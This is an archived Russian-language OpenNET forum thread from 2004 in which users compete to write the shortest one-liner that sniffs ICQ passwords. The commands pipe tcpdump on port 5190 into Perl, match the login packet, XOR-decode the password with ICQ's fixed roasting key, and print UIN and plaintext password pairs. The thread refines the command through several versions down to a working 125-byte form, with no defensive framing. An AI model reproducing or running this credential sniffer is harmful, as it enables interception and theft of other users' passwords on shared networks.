форумы  помощь  поиск  регистрация  майллист  ВХОД  слежка

Вариант для распечатки		Архивированная нить - только для чтения!  Пред. тема | След. тема
Форумы OpenNET: Виртуальная конференция (Public)
Изначальное сообщение		[Проследить за развитием треда]

"Снифак. Кто меньше?"
Сообщение от homoz (??) on 13-Апр-04, 12:03  (MSK)
Ничего особенного - выдирает и пишет асечные пароли: --- tcpdump -l -w - 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){my $s;$s.=chr(hex(qw(F3 26 81 C4 39 86 DB 92)[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' --- 211 байт. Кто меньше? :-)
	Рекомендовать в FAQ | Cообщить модератору | Наверх

Индекс форумов | Темы | Пред. тема | След. тема

Сообщения по теме

1. "ошибочка вышла"
Сообщение от Anastas (??) on 13-Апр-04, 14:29  (MSK)
Однако на FreeBSD с perl, version 5.005_03 ошибку дает Can't use subscript on split at -e line 1, near "$_]" Execution of -e aborted due to compilation errors.
	Рекомендовать в FAQ | Cообщить модератору | Наверх

	2. "ошибочка вышла"
	Сообщение от homoz (??) on 13-Апр-04, 15:06  (MSK)
	С perl 5.6.1 - все ок. Для 5.005_03: --- tcpdump -l -w - 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\ d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){@A=qw(F3 26 81 C4 39 86 DB 92);my $s;$s.=chr(hex(@A[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' --- 219
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	3. "ошибочка вышла"
	Сообщение от BarS on 13-Апр-04, 15:07  (MSK)
	>С perl 5.6.1 - все ок. >Для 5.005_03: >--- >tcpdump -l -w - 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\ >d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){@A=qw(F3 26 81 C4 39 86 DB 92);my $s;$s.=chr(hex(@A[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' >--- >219 тяни до килобайта - а то несолидно....
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	5. "ошибочка вышла"
	Сообщение от homoz (??) on 13-Апр-04, 15:30  (MSK)
	>тяни до килобайта - а то несолидно.... Дак без проблем - усложнять-то всегда просто, это вот упрощать сложно (-; Предложил бы лучше как ещё сократить...
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	4. "ошибочка вышла"
	Сообщение от Anastas (??) on 13-Апр-04, 15:10  (MSK)
	>С perl 5.6.1 - все ок. >Для 5.005_03: >219 ну да ... работает ... но уже не 211 байт !    :о)))
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	6. "ошибочка вышла"
	Сообщение от homoz (??) on 13-Апр-04, 15:33  (MSK)
	>ну да ... работает ... >но уже не 211 байт !    :о))) ага, 219...
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	9. "ошибочка вышла"
	Сообщение от homoz (??) on 14-Апр-04, 10:43  (MSK)
	Ну че, неужели ни у кого нет вариантов??
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	10. "ошибочка вышла"
	Сообщение от vt (??) on 14-Апр-04, 16:54  (MSK)
	>Ну че, неужели ни у кого нет вариантов?? Начитался xakep.ru magazine ? "Он не сноб, он просто счастлив безыскусно, Как ребенок, - тихо счастлив, что пописал."
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	11. "ошибочка вышла"
	Сообщение от homoz (??) on 14-Апр-04, 17:32  (MSK)
	>Начитался xakep.ru magazine ? Ты меня не знаешь. Че ты так разговариваешь? Это я написал (тут и писать-то нечего), потом уж на ксакепе похожее нашел. И то их вариант немного больше моего :)
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	14. "ошибочка вышла"
	Сообщение от vt (??) on 14-Апр-04, 22:54  (MSK)
	>>Начитался xakep.ru magazine ? > >Ты меня не знаешь. Че ты так разговариваешь? > >Это я написал (тут и писать-то нечего), потом уж на ксакепе похожее >нашел. И то их вариант немного больше моего :) Значит, мысли сходятся :) Странно, что сходятся на таких наворотах my $s;$s.=chr(hex(qw(F3 26 81 C4 39 86 DB 92)[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n" вместо простого print $1,$2^243.38.129.196.57.134.219.146
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	16. "ошибочка вышла"
	Сообщение от homoz (??) on 15-Апр-04, 11:23  (MSK)
	>вместо простого >print $1,$2^243.38.129.196.57.134.219.146 Эээ... Гкхм... Респект! =)
		Рекомендовать в FAQ | Cообщить модератору | Наверх

7. "Snifak. Kto men'she?"
Сообщение от Brainbug on 13-Апр-04, 16:24  (MSK)
>Nichego osobennogo - vydiraet i pishet asechnye paroli: >--- tcpdump -l -n 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){my $s.=chr(hex(qw(F3 26 81 C4 39 86 DB  92)[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' >--- >211 bajt. > >Kto men'she? :-)
	Рекомендовать в FAQ | Cообщить модератору | Наверх

	8. "Snifak. Kto men'she?"
	Сообщение от homoz (??) on 13-Апр-04, 16:52  (MSK)
	>tcpdump -l -n 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){my $s.=chr(hex(qw(F3 26 81 C4 39 86 DB  92)[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' вы это хоть запускали?
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	12. "Snifak. Kto men'she?"
	Сообщение от A Clockwork Orange on 14-Апр-04, 17:34  (MSK)
	Я запускал, по крайней мере ошибок не дает на sun# perl -v This is perl, v5.8.2 built for i386-freebsd-thread-multi
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	13. "Snifak. Kto men'she?"
	Сообщение от homoz (??) on 14-Апр-04, 17:41  (MSK)
	>Я запускал, по крайней мере ошибок не дает на Это: tcpdump -l -n 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){my $s.=chr(hex(qw(F3 26 81 C4 39 86 DB  92)[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' Ошибок не дает, но работает неправильно
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	15. "Snifak. Kto men'she?"
	Сообщение от Brainbug on 15-Апр-04, 09:30  (MSK)
	>>tcpdump -l -n 'port 5190'|perl -ne 'if(/\x00\x00\x00\x01\x00\x01\x00.(\d+)\x00\x02\x00\x08(.{8})\x00\x03\x00\d/){my $s.=chr(hex(qw(F3 26 81 C4 39 86 DB  92)[$_])^ord(substr($2,$_)))for(0..7);print"$1 $s\n"}' > >vy `eto hot' zapuskali? Net ne zapuskal potomu 4to trafika takogo netu. Kak govoritca vse genialnoje prosto: tcpdump -lnw -
		Рекомендовать в FAQ | Cообщить модератору | Наверх

17. "Снифак. Кто меньше?"
Сообщение от homoz (??) on 15-Апр-04, 11:38  (MSK)
Итого, итоговый вариант: --- tcpdump -lnw -|perl -ne 'if(/\0\0\0\01\0\01\0.(\d+)\0\02\0\x08(.{8})\0\03\0\d/){print $1,$2^243.38.129.196.57.134.219.146,"\n"}' --- 128 байт :-) Всем спасибо
	Рекомендовать в FAQ | Cообщить модератору | Наверх

	18. "Снифак. Кто меньше?"
	Сообщение от homoz (??) on 16-Апр-04, 12:49  (MSK)
	Даже так: --- tcpdump -lnpw -|perl -ne'print$1,$2^243.38.129.196.57.134.219.146,"\n"if/\0\0\0\01\0\01\0.(\d+)\0\02\0\x08(.{8})\0\03\0.ICQ/' --- 125
		Рекомендовать в FAQ | Cообщить модератору | Наверх

	19. "Снифак. Кто меньше?"
	Сообщение от vlaz on 18-Апр-04, 00:47  (MSK)
	>Даже так: >--- >tcpdump -lnpw -|perl -ne'print$1,$2^243.38.129.196.57.134.219.146,"\n"if/\0\0\0\01\0\01\0.(\d+)\0\02\0\x08(.{8})\0\03\0.ICQ/' >--- >125 гы-гы и лучше из под рута....
		Рекомендовать в FAQ | Cообщить модератору | Наверх

Удалить

Индекс форумов | Темы | Пред. тема | След. тема

Пожалуйста, прежде чем написать сообщение, ознакомьтесь с данными рекомендациями.